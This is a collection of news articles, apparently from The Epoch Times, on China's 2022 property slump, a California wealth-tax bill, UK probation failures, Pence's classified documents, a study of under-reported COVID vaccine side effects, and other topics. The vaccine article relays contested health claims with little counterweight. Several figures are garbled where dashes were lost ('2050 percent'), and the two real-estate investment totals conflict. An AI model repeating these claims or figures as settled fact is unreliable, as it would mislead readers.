In 2022, the national real estate investment amounted to 13.29 trillion yuan (about $1.96 trillion), a 10 percent drop year over year, which was the first historical decline. The nationwide land area purchased fell by 53.4 percent year over year. The real situation of land acquisition would have been even bleaker if the land acquisition supported by local urban investment platforms were excluded.

The area under construction, the area of the newly started, and the as-constructed all reduced, among which the area of newly started construction decreased by around 40 percent year over year.

An elderly woman looks at the price tags of houses at a local real estate office in downtown Shanghai on Feb. 12, 2018. (Johannes Eisele/AFP via Getty Images)

In 2022, the investment in real estate amounted to 14.9 trillion yuan (about $2.2 trillion), 25.9 percent lower than the previous years. Until December 2022, the prospect index of real estate fell to 94.35 percent, the lowest level in recent times. It indicated that there was little liquidity in the industry.

The inventory destocking happened in 2015 when the property investment was also under pressure. However, the investment still increased by 1.0 percent at that time. Thus, the housing market has been facing an unprecedented challenge in 2022, said Li Yujia, the chief researcher of the Center for Housing Policy Studies of Urban and Rural Planning and Design Institute in Guangdong Province, according to the Chinese news portal Sina Finance China.

Cric Research Center released a report on Jan. 2, showing that the overall sales performance of the real estate industry in 2022 dropped up to 39 percent year over year. Into the bargain, real estate investment reached the lowest level in 2022, and nearly 40 percent of the top 100 real estate companies suspended their investment throughout the year.

The report revealed that nearly 90 percent of the top 100 real estate companies had a year-over-year decline in cumulative performance in 2022. Thirty-six companies saw a decrease of more than 50 percent, and 32 companies saw a drop of 2050 percent.

Analysis: Chinas Loose Monetary Policy Fails to Become Easy Credit

From April to December 2022, the M2 money supply kept a higher growth rate than that of aggregate private financing. The M2-aggregate private financing price scissors once triggered heated debate over vigilance against liquidity traps, so the transmission mechanism of loose monetary policy was blocked, and easy credit was hindered from becoming easy money.

On Jan. 13, Xia Lei, the chief economist of Sealand Securities Co., published an article saying that the growth rate of aggregate private financing had been lower than M2 for nine months until December 2022. The price scissors gap narrowed slightly to 2.2 percent in the month, but it is still at a high level, and the transmission of broad money to wide credit is blocked.

On Jan. 3, at the 2023 Spring Festival Forum organized by the Chongyang Institute for Financial Studies of Renmin University of China, finance expert Chen Fang stated that the monetary situation had been eased in 2022 after two rounds of overall cuts of the reserve requirement ratio in April and November, and two rounds of cuts of the medium-term lending facility in January and August, respectively.

Nevertheless, the current major problem is that easy money cannot boost easy credit due to the continuously widening price-scissors gap between M1 and M2 money supply.
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Californias New Wealth Tax Plan Targets Wealthy Even If They Flee to Another State

Storm clouds blanket the Los Angeles skyline as seen from Kenneth Hahn State Recreation Area following a rainstorm in Los Angeles, Calif., on Jan. 17, 2023. (AP Photo/Damian Dovarganes)

California Democrats are pushing for a new tax on the states wealthiest residents that includes the ability to tax them even after theyve left the state for places like Florida or Texasor even after they move out of the country.

State Rep. Alex Lee introduced the Wealth Tax Act as Assembly Bill 259 and Assembly Constitutional Amendment 3 in the California State Legislature last week, and on Monday held a press conference with his Democrat colleagues calling for wealth taxes to bring tax justice.

The proposed law includes provisions that would allow California to tax the worldwide net worth of former residents who have moved abroad or relocated to another state, which comes amid an exodus to red states that tend to have less onerous tax regimes.

With one of the highest corporate tax rates in the country (8.84 percent), California ranks 48th on the Tax Foundations Business Tax Climate Index and occupies 49th spot on its Individual Income Tax Rank.

A recent study found that more moving trucks left from California than any other state in 2022 for the third year in a row, with the top destinations being North and South Carolina, Florida, and Texas.

Worldwide Net Worth

Californias proposed wealth tax would impose an annual worldwide net worth tax of 1.5 percent on net worth above $1 billion and 1 percent above $50 million.

Worldwide wealth does not include real estate held directly by the taxpayer, but does extend to real estate or tangible personal property held indirectly, such as through a partnership or trust. It also includes things like stocks or art collections.

Lee said in a post on social media that the modest 1 percent tax on assets over $50 million would generate nearly $22 billion per year, roughly the same size as Californias budget deficit.

He told the Associated Press that the new wealth tax would affect an estimated 23,000 ultra-millionaire and 160 billionaire households, or the top 0.1 percent of California households.

The ultra rich are paying little to nothing by hoarding their wealth through assets. Time to end that, Lee wrote in a recent tweet.

California already taxes its wealthy residents more than most states, with the top 1 percent of earners accounting for around half of the states income tax collections.

The Wrong Solution

Rob Lapsley, president of the California Business Roundtable, issued a statement in response to the wealth tax proposal, calling it the wrong solution, both now and in the future and arguing it would encourage more wealthy residents to leave the state.

A wealth tax will only further destabilize our budget system, and it will encourage even more high-wealth individuals to leave the state entirely, Lapsley said, noting that for the 2020 tax year, only 13,360 taxpayers paid 25.8 percent of the total personal income tax collected by the state.

Further relying on this volatile and highly mobile tax base would only increase the boom-bust cycles that define our budget, he continued, adding that we strongly oppose the proposal.

Jared Walczak, the Tax Foundations vice president of state projects and the lead researcher on Business Tax Climate Index, also had a critical take on Californias proposal.

He argued in a note that wealth taxes are economically destructive and they promote costly avoidance strategies.

Very few taxpayers would remit wealth taxesbut many more would pay the price, he wrote.

Proponents sometimes argue that wealth taxes are small and that the rich can afford them. But because the rates are on net worthnot on incomethey cut deeply into investment returns, to the detriment of the broader economy, he continued.

Another practical problem with wealth taxes is that many assets that would be taxed under Californias proposal are difficult to value, such as intangible assets like trademarks or goodwill, and ownership stakes in closely held corporations and partnerships.

Logic-defying situations could arise where some people could be taxed on assets that ultimately have no real value while others may be able to avoid the wealth tax on assets that actually do have significant value.

A promising tech startup might briefly be valued at hundreds of millions of dollars, but fold without ever turning a profit. Another might fly under the radar until suddenly acquired for billions of dollars, Walczak wrote.

Owners of the former might face insurmountable wealth tax burdens on a hypothetical net worth that never generates actual income and ultimately vanishes, while owners of the latter might avoid any wealth tax on a company that presumably had significant value before a price tag was affixed by its acquisition, he added.

Californias proposal faces questionable prospects as similar legislation has failed in the past. But that hasnt stopped Californiaand other statesfrom pushing for what they describe as tax justice.

Californias worldwide wealth tax proposal came as other blue states floated similar schemes to target the rich.

Other Blue States Float Tax-the-Rich Proposals

Bills were announced last week in Connecticut, Hawaii, Illinois, Maryland, Minnesota, New York, and Washington. While each state has a different approach, the strategies typically include taxing assets, lowering the threshold for estate taxes, and raising rates for higher earners.

Progressive lawmakers in Connecticut, for instance, have proposed a higher tax rate on capital gains earnings for wealthy taxpayers and higher personal income tax rates for millionaires.

In New York, a Democrat senator introduced a bill in the State Senate that would impose an additional tax of up to 15 percent on some investment income.

In Illinois, anyone with a net worth of $1 billion or more would pay a 4.95 percent annual tax on the increase in value of those assets.

State Rep. Will Guzzardi, a Democrat who sponsored the measure, told local outlet WTTW in an interview that it would work much like property taxes, where if the value of the property goes up, so does the tax liability.

Were going to say to billionaires with all their assetswhich arent so much properties as stocks, financial instruments, investmentswere going to value their assets, and then when those assets go up in value, were going to tax them on the increase in value, Guzzardi said.

So just like the property tax that we pay, this is a tax on billionaires property, which is stocks and financial instruments, he said, estimating that his proposal could raise between $200500 million each year.
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Catalogue of Errors by Probation Officers Led to Jordan McSweeney Being Free to Kill

Damning report comes a week after similar review in Damien Bendall case

An undated image of Jordan McSweeney, who has admitted murdering Zara Aleena on June 26, 2022. (Metropolitan Police)

A series of mistakes by probation officers left Jordan McSweeney free to sexually assault and kill Zara Aleena on a London street last year when he should have been recalled to prison.

McSweeney, 29, was locked up for at least 38 years last month after admitting to killing Aleena as she walked along a street in Ilford, east London, in the early hours of June 26, 2022.

A report (pdf) by the Inspectorate of Probation, published on Tuesday, said McSweeney should have been perceived as a high-risk offender when he was released from prison days before he murdered Aleena.

The Chief Inspector of Probation, Justin Russell, said: Jordan McSweeney should have been considered a high risk of serious harm offender. If he had, more urgent action would have been taken to recall him to prison, after he missed his supervision appointments on release from custody.

The Probation Service failed to do so, and he was free to commit this most heinous crime on an innocent, young woman. Our independent review brings into sharp focus the consequences of these missed opportunities and reveals a Probation Service, in London, under the mounting pressure of heavy workloads and high vacancy rates, Russell added.

Later, in an interview with Times Radio, Russell said overworked probation officers currently did not have the time to go over case files and assess the overall risk posed by an offender such as McSweeney.

Zara Aleena, who was murdered by Jordan McSweeney while walking towards Gants Hill station in London in the early hours of June 26, 2022. (Metropolitan Police)

Russell said: There are over 500 serious further offences committed by people on probation each year. All of those are then investigated by the probation service itself, and it is vital that lessons are learned from that.

McSweeney, a fairground worker, was released nine days before he killed Aleena.

After his conviction, Justice Secretary Dominic Raab ordered a review of how probation staff had supervised McSweeney, who had a history of violent offending.

McSweeney had 28 criminal convictions for 69 separate offences since the age of 13, including burglary, theft of a vehicle, criminal damage, assaulting police officers, and attacking members of the public while on bail.

He also had a history of violence towards ex-girlfriends and was handed a restraining order for an offence against a woman in 2021.

Incorrectly Assessed as Medium Risk

But when he was released he was incorrectly assessed as being only medium risk.

Crime, justice, and policing commentator Danny Shaw drew parallels with the case of Damien Bendall, who was given a whole life sentence in December for murdering his pregnant girlfriend, Terri Harris, 35, her children John and Lacey Bennett, and Laceys friend Connie Gent, who was 11.

Undated still from a police bodyworn camera of police arresting Damien Bendall outside the house where he killed his girlfriend and three children in Killamarsh, Derbyshire, in September 2021. (Derbyshire Police)

A review into Bendalls case was published on Jan. 17 (pdf) and found: The Probation Services assessment and management of Bendall at every stage, from initial court report to his supervision in the community, was of an unacceptable standard and fell far below what was required.

Shaw wrote on Twitter: Both Bendall and McSweeney had long criminal records with convictions for violence. It should have been clear how dangerous they werebut probation focused too much on what their last offence was and not enough on the individualtheir behaviour in the round, overall risks.

The report into McSweeney said the Prison Service did not communicate effectively about McSweeneys risks, leaving the Probation Service with an incomplete picture of someone who was likely to reoffend.

Russell said: Following his release from prison and successive appointments being missed, the Probation Service failed to take prompt action to recall him to custody. Once that decision had been made, there were also delays in signing the necessary paperwork to initiate the recall. Had this been done sooner, opportunities for the police to locate and arrest McSweeney would have been maximised.

McSweeneys licencethe paperwork that permitted him to be at libertywas revoked after he failed to meet probation officers but he was not recalled to prison until it was too late.

Russell made 10 recommendations for improvements and called for an urgent review into how the risk posed by those being released from prison was being assessed.

Minister Apologises Unreservedly

Prisons and probation minister Damian Hinds said, This was a despicable crime and I apologise unreservedly to Zara Aleenas family for the unacceptable failings in this case.

Hinds said: We are taking immediate steps to address the serious issues raised by the Jordan McSweeney and Damien Bendall cases. This includes mandatory training to improve risk assessments, implementing new processes to guarantee the swift recall of offenders and we have taken disciplinary action where appropriate.

Hinds said the government invested 155 million a year into the Probation Service and hoped to ensure these sorts of tragedies can never happen again.

Aleenas aunt, Farah Naz, told the BBC: Zaras life was taken and probation have blood on their hands. Naz added: Some people need to be accountable here. If you commission a report  you should be acting on it. If I dont do my job, I dont deserve my job.

PA Media contributed to this report.
Charges Dropped Against Former MPP Randy Hillier Over Breach of COVID-19 Health Orders

Ontario MPP Randy Hillier is seen as he arrives outside the Ottawa Police Services headquarters in Ottawa on March 28, 2022. (Adrian Wyld/The Canadian Press)

A court has stayed a charge laid against former Ontario MPP Randy Hillier related to a May 2021 protest he was involved in, according to the Justice Centre for Constitutional Freedoms (JCCF).

The JCCF said in a statement that the court on Jan. 3 stayed a charge against Hillier for breaching a public health order issued under the Reopening Ontario Act when he allegedly attended a protest in Barrie, Ontario, while he was still an MPP for Lanark-Frontenac-Kingston.

The Ontario government declared a state of emergency in April 2021, placing the entire province under a stay-at-home order for four weeks due to a surge in the number of COVID-19 cases. The order banned public gatherings with very limited exceptions, which the JCCF said had effectively criminalized public protests.

In early 2022, the federal COVID-19 vaccine mandates and restrictions spurred nationwide protests, dubbed the Freedom Convoy, in which truck drivers and other protesters gathered in the national capital in Ottawa in extended demonstrations. Similar protests were also organized across the country in solidarity.

On March 28, 2022, Hillier told reporters that the police had called him a day earlier to turn himself in for his participation in the Freedom Convoy protests. He was subsequently charged with nine offences, including two counts each of obstructing a public officer, counselling mischief, and mischief/obstructing property over $5,000. He is also charged with obstructing a person aiding a peace officer, assaulting a peace or public officer, and counselling an uncommitted indictable offence.

Hillier was released on bail on several conditions, including being banned from posting on social media about the Freedom Convoy protests, COVID-19 mask or vaccine mandates, or the anti-vaccine cause.

The charges levied against the former independent MPP had carried potential fines of $100,000 as well as up to one year in prison, said the JCCF.

Christopher Fleury, who serves as Hilliers legal counsel, said in the statement that his client is pleased with the courts decision and will continue to aggressively fight the similar charges that he is facing across the Province.

Hillier has brought an application in the Ontario Superior Court, seeking to have various public health orders issued under the Reopening Ontario Act declared as contrary to the charter, according to the JCCF. The Court is scheduled to hear oral submissions in that case from July 27 to July 28, 2023.

Hillier previously faced other charges for his participation in a June 2021 rally that was also alleged to be against the public health orders under the Reopening Ontario Act. The charges were dropped in September 2022. The crown prosecutor agreed that it wasnt in the public interest to proceed with the case as the government had lifted those restrictions, JCCF lawyer Henna Parmar told The Epoch Times in an email at the time.

Isaac Teo contributed to this report.
Chinas Purchase of Gaming Designing Companies Could Pose National Security Risks to US: Expert

People play computer games at an internet cafe in Beijing, China, on Sept. 10, 2021, days after Chinese officials summoned gaming enterprises including Tencent and NetEase, the two market leaders in China's multibillion-dollar gaming scene, to discuss further curbs on the industry. (Greg Baker/AFP via Getty Images)

China could pose a national security risk to the United States with its escalating purchase of gaming designing companies, warns Anders Corr, publisher of the Journal of Political Risk.

Tencent Holdings Ltd. and NetEase Inc., both Chinese mega-tech companies, have expanded their gaming studios in the United States, Canada, Japan, and France.

Last year, NetEase established game design companies in France with Quantic Dream, in the United States with Jackalope Games and Jar of Sparks, and in Japan with Nagoshi Studio and GPTrack50. All of these were its initial design ventures within these nations.

Canadas Skybox Labs, which contributed to the creation of popular video games including Age of Empires, Fallout 76, Halo Infinite, and Minecraft, is the most recent studio to enter Chinas sphere of influence.

Meanwhile, the largest gaming corporation in the world, Tencent Holdings of China, is now purchasing more than a dozen gaming studios worldwide.

These companies can essentially design into their games backdoors, which would present cybersecurity problems for gamers and even others, because gamer machines can be hijacked by China, by the Chinese Communist Party, if it wants to, if it designs it properly, and use it to access the entire networks  in the U.S., Europe, Japan, South Korea, etc., Corr told China in Focus on NTD, the sister media outlet of The Epoch Times.

Anders Corr, publisher of the Journal of Political Risk and author of The Concentration of Power, in New York on Dec. 13, 2021. (Bao Qiu/The Epoch Times)

The expert said that these gaming companies could also play influential roles, like the video-sharing app, TikTok, by consistently putting out content that elides or erases the human rights abuses  that the Chinese Communist Party are imposing on their own people.

Two-Tier Approach

According to Corr, the Chinese regime applies the two-tier approach in relation to gaming.

What we see with China is that  when they identify something as having a negative social effectfor example, gamingthey will limit games within their own country, but encourage the export of those games abroad, he said in an interview set to be aired on Jan 24.

In 2021, Beijing banned children from gaming more than three hours per week, depicting it as a form of spiritual opium.

As another example of a two-tier approach, the political expert cited the challenge of fentanylthe deadliest opioid in existencethat the CCP has posed for America.

The sale of  fentanyl is, of course, illegal in China, but the precursor chemicals are being exported wantonly through Mexico, and its causing 107,000 deaths a year [in the United States, according to] the latest figures from 2021, he said.

In 2019, China declared a ban on all fentanyl-related substances.

Meanwhile, reports show that since 2013, China has been the principal source of the fentanyl flooding the U.S. illicit drug market, fueling the opioid crisis in the country.

Over 100,000 Americans died of drug overdoses in the 12 months ending in April 2021, according to a report by the Centers for Disease Control and Prevention.

Sanctions

To counter the threat posed by the Chinese regime, Corr called for economic sanctions.

We can put tariffs on them, we can put sanctions on these companies, even if they are, for example, SkyBox in Canada or a company in Europe or Japan, he said.

The U.S. can put tariffs and sanctions on those companies to dissuade both U.S. users from using them, and also from our allies users using them.

Corr further urged for a systematic change of decoupling.

We could potentially ban Chinese companies from owning U.S. tech companies and allied tech companies, he said.

The expert believed that it is not difficult to switch users to domestic and allies games.

Corr emphasized friend-shoring, saying, We buy things from our friends, not from countries that are using [assets] to build massive militaries that threaten us, like Russia and China.

The Epoch Times has reached out to Tencent and NetEase for comments.
Chinas Shrinking Economic Base

Commentary

Chinas latest statistical release seems to have caused quite a stir. Beijing has announced that the nations population has declined outrightby some 850,000since the last census.

More impressive still, United Nations demographers see continued shrinking from a population of 1.4 billion presently to 1.3 billion in 2050, to 800 million or so by the end of the century. Surely, media outlets mused, this remarkable trend would have a negative impact on the countrys economic prospects.

This musing is correct. The nations demographic reality will have ill effects on Chinas economy. But the economic significance lies less in overall population figures than in the relative size of Chinas working population. It is declining faster than the overall population, which will severely constrain the nations growth prospectsnot immediately but with growing intensity over the coming years. These demographic trends will compound the ill economic effects by raising debt levels in this already debt-heavy economy. Moreover, there is little Beijing can do to mitigate these unwelcome implications.

The crucial economic consideration is how many working-age people China has available to support its population of dependent retirees. Because Beijing imposed a one-child policy on Chinese families from 1980 to 2015, the nation now faces a relative paucity of workers to replace the huge generation that is now retiring. The numbers of those of working ageby convention, between 15 and 64have hardly grown at all since 2010.

But the older population of retirement-age Chinese has grown a whopping 53 percent, increasing from 9 percent of the total population in 2010 to 13 percent at last measure. Consequently, today, barely 3.5 people of working age are available to support each retiree, down from about 6.5 in 2000 to 5.5 in 2010. And that figure is expected to fall below 2.3 workers per retiree by 2030 and even lower in the years following.

A group of elderly retirees stages a sit-down protest outside the Chinese Ministry of Justice over their unpaid pensions in Beijing on Nov. 8, 2011. (Goh Chai Hin/AFP via Getty Images)

This circumstance has profound economic implications. No three-some workers anywhere are productive enough on average to support themselves, their personal dependents, and a third of everything each retiree needs. The strain will be that much greater than the raw numbers imply because the large aging population will necessarily siphon off workers from daily production to the medical and other care services needed by the elderly. The strain will leave little surplus production for the investments required for economic growth, especially the grand projects for which China has become famous and that have contributed to the countrys former and impressive pace of growth.

If these immediate economic considerations were not severe enough, Chinas demographics would have significant and adverse financial implications. The pension needs of these retirees will force considerable borrowing requirements on local governments as well as Beijing. China already carries a bigger debt burden than most countries, including even the United States. At last measure, all public and private debt amounted to the equivalent of about $52 trillion, verging on almost three times the size of the economy.

To be sure, Washington carries a bigger debt burden than Beijing, but that is because Beijing offloads borrowing needs to support infrastructure spending, for example, onto local governments. Pension demands will increase this burden still further and unavoidably crowd out the growth-fostering projects that, in the past, have done so much for Chinas development.

And there is little Beijing can do to offset these ill effects. A few years ago, the authorities finally awakened to the potential economic damage of the one-child policy. They rescinded the law and allowed larger families. But even if Chinese people had immediately taken advantage of that situation, it would take 1520 years for the change to have an effect on the relative size of the countrys working-age population. As it is, the nations fertility rate has not risen in response to the new law. Nor is China likely to see a wave of immigration to enlarge the ranks of workers.

The only other avenue open to offer relief is in the growth of worker productivity. To this end, Beijing has emphasized developing and adopting artificial intelligence (AI) and robotics. Indeed, China has become a world leader in these areas. In time, these trends will undoubtedly substitute algorithms, computers, and machines for labor and make the countrys relatively limited working population more productive than it is today. AI and robotics can also help by limiting the need for physical labor, enabling the Chinese to work at older ages than in the past. But these things can only go so far. However much of these efforts can mitigate the strain imposed by demographic realities, they cannot correct for them entirely, leaving China facing slower growth with less room for grand investment projects than has been the case until now.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Chinese Nationals Arrested in Afghanistan for Allegedly Smuggling Lithium Into China

Taliban fighters celebrate one year since they seized the Afghan capital, Kabul, in front of the U.S. Embassy in Kabul, Afghanistan, on Aug. 15, 2022. (Ebrahim Noroozi/AP Photo)

The Taliban regime in Afghanistan reportedly arrested five men, including two Chinese nationals, over their alleged roles in the illegal smuggling of lithium-bearing stones from Afghanistan into China.

The two Chinese nationals were accused of trying to smuggle 1,000 metric tons of stones containing 30 percent lithium into China through Pakistan with the help of their Afghan collaborators, The Khaama Press reported, citing local sources.

They allegedly mined the stones from Nuristan and Kunar, the two Afghan provinces that border Pakistan. The arrests were made in Jalalabad, an eastern border city in Afghanistan, according to the report.

Lithium is the main element of lithium-ion batteries, a critical component of smartphones, laptops, and electric vehicles.

According to the 20172018 Minerals Yearbook of Afghanistan (pdf), issued by the U.S. Geological Survey and U.S. Department of the Interior, Afghanistan sits on rich bauxite, copper, iron, lithium, and rare earth deposits.

However, the report said that most of these mineral resources hadnt been developed owing to Afghanistans deteriorating security, political instability, and lack of infrastructure.

In 2010, U.S. military officials and geologists estimated that Afghanistan sits on $1 trillion worth of mineral deposits. According to the surveys conducted by Afghanistans own Ministry of Mines and Petroleum in 2017, its mineral resources may be worth as much as $3 trillion, which is more than enough to compensate for the cost of war.

Chinas Interest in Afghanistan

China has long eyed Afghanistans mineral resources, particularly since the United States withdrew its troops from the country in August 2021. No country has recognized the Taliban as the legitimate government of Afghanistan, but the Chinese Communist Party (CCP) has actively engaged with the regime.

In November 2021, representatives of several Chinese companies conducted on-site inspections of potential lithium projects in Afghanistan, the Chinese state-owned Global Times reported.

On Sept. 13, 2022, Gao Fengyi, a political commentator living in Japan, told The Epoch Times that he thinks the CCP aims to seize all minerals in Afghanistan.

However, after the Taliban invited South Korea to mine the lithium deposits, the Chinese state-owned NetEase News called it a treacherous move, indicating that there may already be an agreement between the CCP and the Taliban.

The CCP already had mining operations in Afghanistan. In May 2008, China Metallurgical Group, a Chinese state-owned enterprise, bought the exploration lease on the massive deposit for the Mes Aynak copper mine near Kabul for $2.898 billion. However, the project stalled for more than a decade over security concerns in the region.

Winnie Han and Ellen Wan contributed to this report.
Shen Yun Performing Arts curtain call at the George Mason University Center for the Arts in Fairfax, Virginia on Jan. 22. (Lisa Fan/The Epoch Times)

FAIRFAX, Va.Dance and music are often known as universal languages because of their ability to transcend cultural barriers. Shen Yun Performing Arts uses these universal languages to show audiences all over the world the beauty of traditional Chinese culture. Mr. Yang, who came from mainland China, watched Shen Yun for the first time on Jan. 22 at the George Mason University Center for the Arts, and praised Shen Yuns ability to share Chinese culture with Western audiences.

Shen Yun has achieved something miraculous, said Mr. Yang. It has presented Chinese culture in a way that Chinese audiences understand, and especially in a way that Western audiences can understand. That is truly an incredible feat.

Based in New York, Shen Yun was founded in 2006 by leading Chinese artists and quickly became the worlds premier classical Chinese dance and music company. Shen Yuns mission is to revive traditional Chinese culture, and to show its audiences the beauty of China before communism.

Mr. Yang was impressed by what Shen Yun was doing.

Through art, Shen Yun has portrayed many great elements of Chinese cultureelements that that we dont really see in day-to-day life, or even if we did see, would seem very distant from ordinary people. Shen Yun uses a special art form to truly revive these things.

We must affirm that there are many great things about Chinese culture, said Mr. Yang. Its just that no one in mainland China knows how to present these things, due to the Communist Partys government system; artists dont know how they can recreate culture.

According to the Shen Yun website, Shen Yuns founders and some of its performers had to flee Chinas oppressive and atheist communist government, which destroyed traditional Chinese culture by abolishing its spiritual roots in Confucian, Taoist, and Buddhist teachings.

However, Mr. Yang said he observed that in recent years, Chinese people, Chinese intellectuals, and those who wished for democracy were gradually losing hope in the communist government and that many people, including some of his friends, were beginning to turn to spirituality.

Shen Yuns website also states that Shen Yun cannot perform in China, though they hope that one day, they will be able to.

Mr. Yang believed that the people would welcome Shen Yun when it does return to China.

I think the people will love Shen Yuns program, he said.

Although Shen Yun cannot yet perform in China, its 2023 season is its biggest yet. Shen Yuns eight equally sized companies will be touring across five continents, over 20 countries, and over 180 cities.

Reporting by Jenny Jing and Wandi Zhu.

The Epoch Times is a proud sponsor of Shen Yun Performing Arts. We have covered audience reactions since Shen Yuns inception in 2006.
Classified Documents Discovered at Home of Former Vice President Mike Pence

Former Vice President Mike Pence speaks during an event to promote his new book at the conservative Heritage Foundation think tank in Washington, on Oct. 19, 2022. (Chip Somodevilla/Getty Images)

Documents with classification markings were found at Mike Pences home, lawyers for the former vice president say.

A small number of documents marked classified were found on Jan. 16 at Pences home in Indiana, Greg Jacob, one of the lawyers, informed the National Archives and Records Administration in a Jan. 18 letter obtained by The Epoch Times.

The discovery came when Pence engaged outside counsel to review the records stored at the residence, according to the former vice presidents team. Pence opted for the review after learning classified documents were found at one of President Joe Bidens residences. Before that, documents with classification markings were located at the Florida home of former President Donald Trump.

Once the outside counsel identified materials with classification markings, Pence immediately secured those documents in a locked safe pending further direction on proper handling from the National Archives, Jacob said, asking the Archives for assistance in transferring the materials to the agency.

White House press secretary Karine Jean-Pierre declined to comment on the discovery during a briefing in Washington. Unable to comment on that, Attorney General Merrick Garland said during an unrelated press conference.

The National Archives has no comment, the Archives told The Epoch Times via email.

Pence told news outlets previously that he did not take classified documents with him when he left office.

Our staff reviewed all of the materials in our office and in our residence to ensure that there were no classified materials that left the White House or remained in our possession, Pence told CBS earlier this month.

The documents were inadvertently boxed and transported to Pences home after the Trump-Pence administration left office in 2021, according to Jacob.

Vice President understands the high importance of protecting sensitive and classified information and stands ready and willing to cooperate fully with the National Archives and any appropriate inquiry, Jacob wrote.

FBI Agents Seize Records

While standard procedures governed the transfer, at least initially, of documents from Trump and Biden to the Archives, the Department of Justice bypassed those procedures by sending FBI agents to Pences home on Jan. 19, according to another missive

Agents collected the material with the assistance of Pences personal attorney, who has experience handling classified documents, Jacob wrote to William Bosanko, chief operating officer of the Archives. Pence was in Washington to attend the March for Life at the time.

The FBI declined to comment.

Jacob planned to drive four boxes that contained non-classified papers from the Trump-Pence administration to Washington because the Archives agreed to accept the materials but did not have the capacity to collect them from Indiana.

Pence had an opportunity to reject a request to take possession of the classified materials but agreed in the interest of ensuring an expeditious collection, Jacob said. FBI agents took control of the records found at Bidens Wilmington, Delaware, home over the weekend after being invited onto the property, the White House has said. Bidens team transferred the first tranche of documents that were found, at the Penn Biden Center in Washington in November 2022, to the Archives without notifying the Department of Justice.

Trump initially worked with the Archives to transfer materials from his time as president, but FBI agents executed a search warrant at his Mar-a-Lago resort in August of 2022 after learning more presidential materials were still there. They found documents with classification markings at the home. Trump has said he declassified all the materials before leaving office.

Garland, a Biden appointee, has appointed special counsels to investigate the classified document possession by Trump and Biden. Special counsel Jack Smith is probing Trump and special counsel Robert Hur is investigating the president.

The materials found at Bidens former office and his home date back from the presidents time as vice president as well as his service as a U.S. senator, according to the White House.

Only presidents have the power to declassify materials.

Biden was vice president from 2009 to 2017.

The Trump-Pence administration was in power from 2017 to 2021.

Before becoming vice president, Pence represented Indiana in the U.S. House of Representatives.

Trump is running for president again and Pence is considering challenging him for the Republican nomination.

Trump wrote on Truth Social on Tuesday that Pence is an innocent man who never did anything knowingly dishonest in his life.

It is a serious matter for any government official to mishandle classified documents, Rep. Mike Turner (R-Ohio), chairman of the House Intelligence Committee, said in a statement. I plan to ask for the same intelligence review and damage assessment to see if there are any national security concerns.

Sen. Lindsey Graham (R-S.C.) told reporters in Washington that I dont know how this happened and we have to get to the bottom of it.

Noting the number of former presidents or vice presidents holding materials was growing, Graham said that the government may be overclassifying.

Jack Phillips contributed to this report.
Clinical and Political Factors to Blame for Under-Reporting of COVID Vaccination Adverse Events: Study

A vial of some of the first 500,000 of the two million AstraZeneca COVID-19 vaccine doses that Canada has secured through a deal with the Serum Institute of India in partnership with Verity Pharma at a facility in Milton, Ont., Canada, on March 3, 2021. (Carlos Osorio - POOL/The Canadian Press)

The under-reporting of adverse events linked to COVID-19 vaccination is caused by clinical, political, systemic, and media factors, says a recent study, which leads to misguided recommendations by authorities.

The relative prevalence of side effects following COVID-19 vaccination is largely underestimated and does not correspond to reality, says its author Patrick Provost, a full professor in the Department of Microbiology, Infectious diseases and Immunology at the Faculty of Medicine of Universite Laval in Quebec City.

The peer-reviewed study was published in the International Journal of Vaccine Theory, Practice, and Research on Jan. 12 and is titled The Blind Spot in COVID-19 Vaccination Policies: Under-Reported Adverse Events.

Provost says the study was predicated on two academic scientists in good health suffering from several adverse events (AEs) after a COVID-19 injection and then facing denial from responding physicians.

This led them to formulate the hypothesis that AEs may be under-reported and by extension underestimated.

Their concerns for their own health, given their background knowledge, training, and investigative mindset, put them in a unique position to testify concerning deficiencies in AE reporting following COVID-19 injections, says the study.

One scientist is reported as suffering from five different AEs, including ophthalmic migraines, skin rashes, and diabetic imbalance.

The treating endocrinologist never acknowledged the COVID-19 shot could be responsible and instead recommended another dose. He also did not report the AEs to health authorities despite being asked to do so in writing repeatedly.

Eventually a general practitioner reported the AEs under the guidance and assistance of the scientist-patient, says the study.

The other scientist visited the emergency care unit three times with heart issues and was diagnosed with myocarditis and postural orthostatic tachycardia syndrome (POTS), a blood circulation disorder.

No medical doctors would admit to a link with the injection which had taken place days earlier, and instead focused on what the patient had eaten two years prior. The physicians attributed the symptoms to anxiety.

It was finally a nurse who reported the symptoms as potential AEs following vaccination.

Authorities have yet to explain to the population how an intramuscular injection of a product said to be safe in shoulder can lead to significant health complications in other parts of the body, such as heart inflammation, Provost told The Epoch Times, alluding to the conditions of myocarditis and pericarditis.

He says the injection of mRNA and lipid nanoparticles, following a process diametrically opposed to traditional vaccines, can be distributed throughout the body.

The vaccine mRNA can hence be internalized by any of our cells by giving it instructions to produce the viral Spike protein, which is toxic and foreign, and can lead the immune system to turn on its host and facilitate the development of reactions and auto-immune illnesses.

Health Canada says that out of 96,432,067 COVID-19 injections administered as of Jan. 20, adverse events have been reported by 53,611 people.

Patrick Provost, professor at the Department of Microbiology and Immunology at Laval University. (Courtesy of Patrick Provost)

Causes of Under-reporting

The study identified a large number of factors that can lead to the under-reporting of adverse events (AEs), classifying them in the categories of clinical, systemic, political, and media.

Among the clinical causes, it says that physicians have a lack of openness to consider the impacts of COVID-19 injections and a belief they cant be responsible.

It also notes issues of peer pressure and reliance or blindly following the policies of their colleges.

Physicians are not the only ones faulted, with another factor listed as the lack of knowledge or interest of the patients about human biology or their own health.

Other clinical factors include the voluntary nature of AE reporting, the time required for the already overloaded physicians to fill the 5-page government reporting form, and the lack of hindsight and critical thinking about the new genetic vaccines.

The study notes numerous systemic factors affecting the reporting of AEs, such as the misleading of the public to believe the rapidly deployed injections are as safe as traditional vaccines tested over decades.

It singles out the safe and effective mainstream narrative pushed by authorities and media which can discredit individuals raising questions, and notes how colleges can threaten and suspend their members who step out of line.

The study says governments are also bypassing physicians and breaking the doctor-patient relationship through mass vaccination, which makes physicians unable to systematically and clinically follow up their vaccinated patients.

Among the political factors, the study notes that government officials are rarely challenged by opposition parties on the matter of vaccine safety and that Quebec public health agency (INSPQ) directors are political appointees.

Provost suggests this can lead to a reduced autonomy for experts to investigate AEs and he questions if the INSPQ can produce opinions independent of political decisions and narrative.

The INSPQ told The Epoch Times it wouldnt comment on the article.

Among the media factors listed, the study notes the widespread claim that COVID-19 injections are safe, the downplaying of potential risks, the low coverage of AEs and their victims, and lack of encouragement to report AEs.

